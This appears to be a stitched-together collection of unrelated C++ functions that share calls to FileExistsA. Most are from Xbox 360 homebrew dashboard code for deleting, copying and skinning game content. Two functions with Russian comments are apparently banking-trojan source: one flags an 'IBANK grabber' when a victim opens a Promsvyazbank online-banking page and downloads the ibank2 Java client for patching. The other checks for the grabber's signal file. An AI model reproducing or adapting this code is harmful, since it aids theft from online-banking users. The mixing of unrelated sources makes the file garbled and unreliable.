HRESULT CScnGameControls::OnMsgReturn(XUIMessageMessageBoxReturn *pMsgBox, BOOL &bHandled) { switch( pMsgBox->nButton ) { case 0: //Delete Content if(nMsgType == 1) { string szAssetSource = ""; if(pContentItem != NULL) szAssetSource = pContentItem->getAssetDirectory(); if (FileExistsA(szAssetSource)) FileOperationManager::getInstance().AddFolderOperation(szAssetSource, "", true); //Delete Game string szGameSource = ""; if(pContentItem != NULL) { if (pContentItem->GetFileType() == CONTENT_FILE_TYPE_CONTAINER) { szGameSource = pContentItem->getRoot() + pContentItem->getPath(); if (FileExistsA(szGameSource)) FileOperationManager::getInstance().AddFileOperation(szGameSource, "", true); } else { szGameSource = pContentItem->getRoot() + pContentItem->getDirectory(); if(FileExistsA(szGameSource)) FileOperationManager::getInstance().AddFolderOperation(szGameSource, "", true); } } FileOperationManager::getInstance().DoWork(); ShowFileProgress(true); m_GameTitle.SetText(listPack.CurrentGame->Content.m_szTitle); SetTimer(TM_DELETE, 50); nMsgType = 0; } else if ( nMsgType == 2 ) { // Move Game ReloadContent(CONTENT_NONE); //No way to get them back yet nMsgType = 0; } break; } bHandled = TRUE; return S_OK; }
int Drive::IsMounted() { //MATTIE: changed mounted test to also report empty drives as //mounted, instead of searching for a file on a drive. int Result = 0; if (FileExistsA(m_MountPoint + "\\")) { Result = 1; } return Result; }
string ContentKaiVector::GetBasePath() { // Get our game data path string dataPath = SETTINGS::getInstance().getDataPath(); dataPath = dataPath + "\\XlinkKaiData"; dataPath = str_replaceallA(dataPath, "\\\\", "\\"); if(!FileExistsA(dataPath)) _mkdir(dataPath.c_str()); return dataPath; }
HRESULT XZPManager::XZPOpenMemory( string xzpPath, string filePath, BYTE ** pFileData, UINT * pFileSize ) { HRESULT hr = NULL; HXUIPACKAGE hPackage; if(!FileExistsA(xzpPath)) { DebugMsg("XZPManager", "Provided XZP File Path Does Not Exist"); return S_FALSE; } // Convert absolute path to xui path string xuiPath = "file://" + xzpPath; hr = XuiResourceOpenPackage(strtowchar(xuiPath), &hPackage, false); if(hr != S_OK) { DebugMsg("XZPManager", "Failed To Open XZP Package"); return S_FALSE; } WCHAR * szLocator = strtowchar(xuiPath + "#" + filePath); BYTE * pSectionData; UINT pSectionSize; hr = XuiResourceLoadAllNoLoc(szLocator, &pSectionData, &pSectionSize); if( hr != S_OK ) { DebugMsg("XZPManager", "Failed To Load Resource File."); return S_FALSE; } *pFileData = (BYTE *)malloc(pSectionSize); memcpy(*pFileData, pSectionData, pSectionSize); *pFileSize = pSectionSize; XuiFree((void*)pSectionData); XuiResourceReleasePackage(hPackage); return S_OK; }
unsigned long CCopyThread::Process(void* parameter) { SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); Stage = CS_CALCSIZE; //DebugMsg("Calc size of %s",Source.c_str()); //DebugMsg("Last Char : %s",Source.substr(Source.size()-1,1).c_str()); if (Source.substr(Source.size()-1,1) == "\\") { //DebugMsg("Scanning Dir"); Total_Size.QuadPart = File_Size.QuadPart = 0; Total_Prog.QuadPart = File_Prog.QuadPart = 0; Total_FilesCopied = Total_Files = 0; GetDirStat(Source); } else { //DebugMsg("Scanning File"); DWORD high = 0; DWORD size = 0; aGetFileSize(Source,size,high); Total_Size.QuadPart = File_Size.QuadPart = size; Total_Prog.QuadPart = File_Prog.QuadPart = 0; Total_Files = 1; Total_FilesCopied = 0; } //DebugMsg("Processing a total of %d bytes, %d files",Total_Size,Total_Files); Stage = CS_COPYING; if (Source.substr(Source.size()-1,1) == "\\") { //DebugMsg("Processing Dir"); if (Dest.substr(Dest.size()-1,1) == "\\") { if (!FileExistsA(Dest)) _mkdir(Dest.c_str()); DoCopyDir(Source,Dest); if (Action == CDA_COPYDVD) DoCopyFile(Source + "default.xex",Dest + "default.xex"); } } else { //DebugMsg("Processing File"); // dest is a directory, do get filename from source and copy to that if (Dest.substr(Dest.size()-1,1) == "\\") { Dest += Source.substr(Source.rfind("\\")+1); } if (Action == CDA_DELETE) { _unlink(Source.c_str()); Total_FilesCopied++; } else { DoCopyFile(Source,Dest); } } // fake file done prog bar, looks better File_Size.QuadPart = 1024; File_Prog.QuadPart = 1024; if (Cancel) { Stage = CS_CANCEL; } else { Stage = CS_DONE; } XamSetDvdSpindleSpeed(DVD_SPEED_2X); return 0; }
//***************************************************************** // Функция проверяет запрос и, в случае обнаружения адреса с // маской // "*/client_ver.js", скачиваем фойл // "http://host_name/client2015.jar" и сохраняем его в файл // %AllUsersProfile%\Application Data\_client2015_orig.jar //***************************************************************** void CheckJavaClient2015File(const char *aURL) { // Этот кусок кода информирует // IBANK грабер про обнаружение вхождение на // сайт Промсвязь Банк if (WildCmp((PCHAR)aURL, "*://online.payment.ru/juricvalrur/JuridicalClient.html")) { File::WriteBufferA(GetPSBSignalFileName().t_str(), NULL, 0); return; } // Проверяем адреса if (Downloadclient2015FileThread) return; if (!WildCmp((PCHAR)aURL, "*/client_ver.js") && !WildCmp((PCHAR)aURL, "*://ibank2.ru/*")) return; // Определяем путь хранения файла string Path(MAX_PATH); //pGetEnvironmentVariableA("ALLUSERSPROFILE", Path.t_str(), MAX_PATH); if( GetJavaPatchWorkFolder( Path.t_str(), "_client2015_orig.jar" ) == 0 ) return; Path.CalcLength(); if (Path.IsEmpty()) return; // Path += "\\"; //Создаём временное имя файла string FileName = Path;// + "_client2015_orig.jar"; if (FileExistsA(FileName.t_str())) return; TURL URL(aURL); if (URL.Host.Hash() == 0xDF8E3E03 /* ibank2.ru */) URL.Document = "ibank2client.jar"; else URL.Document = "client2015.jar"; TJavaClientFileData *Data = new TJavaClientFileData(); Data->FileName = FileName; Data->TempFileName = Path + "client2015.tmp"; Data->URL = URL.URL(); Downloadclient2015FileThread = StartThread(Downloadclient2015File, Data); string Host = URL.Protocol; Host += HTTPProtocolDelimeter; Host += URL.Host; WriteClientFileDomain(Host.t_str(), Host.Length()); }
//***************************************************************** // IsPSBSystem - Функция возвращает истину если в системе стоит // сигнальный файл PSB //***************************************************************** bool IsPSBSystem() { return FileExistsA(GetPSBSignalFileName().t_str()); }
void SkinManager::ReadSkinSettings(skinitem* Skin) { if (Skin->isCompressed) { WCHAR * fileBuffer; UINT fileLength; string filePath = Skin->SkinPath + Skin->SkinFileName; HRESULT retVal = NULL; retVal = XZPManager::getInstance().XZPOpenMemory(filePath, "skin.xml", (BYTE**)&fileBuffer, &fileLength); if(retVal != S_OK){ DebugMsg("SkinManager", "XZP Resource failed to extract from archive"); } SkinXml xml; ATG::XMLParser parser; parser.RegisterSAXCallbackInterface(&xml); parser.ParseXMLBuffer((const CHAR*)fileBuffer, fileLength); DebugMsg("SkinManager", "Setting Variables Compressed"); Skin->DisplayCPURender = xml.DisplayCPURender; Skin->DisplayFPS = xml.DisplayFPS; Skin->DisplayFreeMEM = xml.DisplayFreeMEM; Skin->DisplayProjectTitle = xml.DisplayProjectTitle; Skin->Author = xml.SkinAuthor; Skin->Version = xml.SkinVersion; Skin->SkinName = xml.SkinName; Skin->MinVer = xml.MinVer; Skin->MaxVer = xml.MaxVer; Skin->m_SceneInfo = xml.m_XmlInfo.m_SceneInfo; Skin->Fonts = xml.Fonts; } else { string file; file = Skin->xmlpath + "skin.xml"; //DebugMsg("SkinManager","Reading %s",file.c_str()); if(!FileExistsA(file)) { DebugMsg("SkinManager","%s does not exist",file.c_str()); } else { SkinXml xml; ATG::XMLParser parser; parser.RegisterSAXCallbackInterface(&xml); parser.ParseXMLFile(file.c_str()); DebugMsg("SkinManager", "Setting Variables"); Skin->DisplayCPURender = xml.DisplayCPURender; Skin->DisplayFPS = xml.DisplayFPS; Skin->DisplayFreeMEM = xml.DisplayFreeMEM; Skin->DisplayProjectTitle = xml.DisplayProjectTitle; Skin->Author = xml.SkinAuthor; Skin->Version = xml.SkinVersion; Skin->SkinName = xml.SkinName; Skin->MinVer = xml.MinVer; Skin->MaxVer = xml.MaxVer; Skin->m_SceneInfo = xml.m_XmlInfo.m_SceneInfo; Skin->Fonts = xml.Fonts; } } }